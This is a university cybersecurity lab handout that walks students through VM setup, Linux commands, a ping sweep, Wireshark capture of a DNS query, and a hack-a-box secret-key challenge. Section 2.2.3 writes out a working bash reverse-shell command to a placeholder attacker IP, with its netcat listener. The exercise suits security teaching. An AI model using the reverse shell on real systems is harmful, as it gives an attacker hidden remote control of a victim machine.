Simon Fraser University
Cybersecurity Lab II

Lab 1

Basic Setup and Hack-A-Box

The goals of this lab are to:

(a) Set up basic tools and software packages,
(b) Get familiar with basic Linux commands, and
(c) Refresh your memory about basic networking tools

Running some tools or code on real networks may be considered as an attack.
Be careful while using such tools/code .

1. Setting Up a Virtual Machine

You need to set up one virtual machine (VM) to complete this lab (and other future labs). If you are not familiar with VMs, refer to online articles about virtualization (e.g., https://en.wikipedia.org/wiki/Virtual_machine). In summary, virtualization allows you to run a guest OS on top of your host OS in isolation. Virtualization needs two main components: (1) Hypervisor, which is the software that allows you to run the guest OS, and (2) VM Image, which contains the OS and installed packages.

Setup. We recommend using VirtualBox (https://www.virtualbox.org/) as the hypervisor. It is a free software and easy to install and use. The setup has three simple steps:

1. Download and install VirtualBox
2. Download an Ubuntu 24.04 LTS (64-bit) image
3. Create a VM using the downloaded image
4. (Optional) Install VirtualBox Guest Additions: https://www.virtualbox.org/manual/ch04.html

In addition to this Ubuntu VM, we may need to use a Kali Linux VM in some labs (only when mentioned explicitly).

Software Packages. On the created VM, make sure to install the following software packages:

`gcc / g++`	`gcc-multilib`	`gdb`	`gef*`	`ld`
`nasm`	`objdump`	`hexdump`	`git`	`python3`
`nmap`	`netcat`	`wireshark`	`tcpdump`	

* gef: https://hugsy.github.io/gef/

You may need to install other software packages when needed.

2. Exploring Linux Commands

2.1 Getting Familiar with Basic Linux Commands [10%]

Explain in one sentence the main functionality of each of the following commands:

`man`	`id`	`df -Th`	`ps aux`	`ldd`
`which`	`scp`	`tar`	`netstat`	`lsof`
`ip`	`netcat`	`dig`	`curl`	

2.2 Running and Implementing Basic Programs

2.2.1 Ping Sweep [10%]

Ping Sweep program returns a list of IP addresses that are mapped to live hosts. Your **task** is to implement a simple Ping Sweep program using any scripting/programming language of your choice.
The inputs of the program are three integers a, b, c representing the network address `a.b.c.0/24`, and your program should return the list of IP addresses that map to live hosts.

In your report, you need to mention how you implemented the Ping Sweeper program, and the proper way to run it.
Note: You may use SFU IP address range (142.58.0.0/16) to test your program

2.2.2 Using Wireshark [15%]

Wireshark is one of the main tools used to capture packets. Your **task** is to explore the outputs of Wireshark after running the `dig` command.
First, you need to be running Wireshark to capture packets on the network interface which is connected to the Internet. Then, run the following command: `$ dig sfu.ca`
Answer the following questions:

- How many transmitted and received packets did this command result with? Explain in 2--3 sentences what has just happened (including the used network protocol).
- Show screenshots of each of these packets using the Packet Details window in Wireshark. The screenshots should clearly show packets content.

2.2.3 Running Reverse Shell [25%]

Once an attacker gains access to a victim machine, one of their options to control the victim machine remotely is to run a *reverse shell.* This enables the attacker to stealthily execute arbitrary commands on the victim machine.

One way to spawn a reverse shell is to run the following two commands:

(1) **Victim Machine:** `$ /bin/bash -i > /dev/tcp/<ATTACKER_IP>/9090 0<&1 2>&1`
(2) **Attacker Machine:** `$ nc -nlvp 9090`

Assume that you gained access to a victim machine and could run a reverse shell. Answer the following questions:

- Which command should you run first? Why?
- Show a screenshot from the victim machine when you attempt to spawn a reverse shell using the wrong order.
- Explain how these two commands work.
- Take a proper screenshot showing that you successfully executed a reverse shell.
- Are the transmitted packets on the wire encrypted? Prove your answer with proper screenshots (Hint: can you use Wireshark?)
- Suggest another method to run a reverse shell (with sufficient explanation), and show proper screenshots of running a reverse shell using this method.

Note: You may run these commands on one or two VMs.

3. Gaining a Secret Key [40%]

Visit the web page given during the lab.
Your **task** is to retrieve a secret key from that host. In your lab report, you need to write all the steps you performed to get the secret key (with proper screenshots).

Notes:

- You do not need to gain access to the host; you can get the secret key without logging in to it.
- Do NOT try to overload the server or send rapid requests to it (i.e., no bruteforce).
- The secret key is a readable phrase, e.g., “sp1d3rman”, “i<3sfu” etc.

4. Submission

You are required to submit:
(1) a detailed lab report.
(2) any source files you wrote.

The files should be compressed in a single (.zip) archive. The code should compile and run without any errors.

5. Policy

- Late submissions will not be graded.
- Make sure that your report is clear and code is well-organized with sufficient comments.
- Any form of cheating will not be tolerated. Particularly, copying code from other students or from other sources such as the Web.
- You can discuss the assignment with other students. However, the actual work must be your own.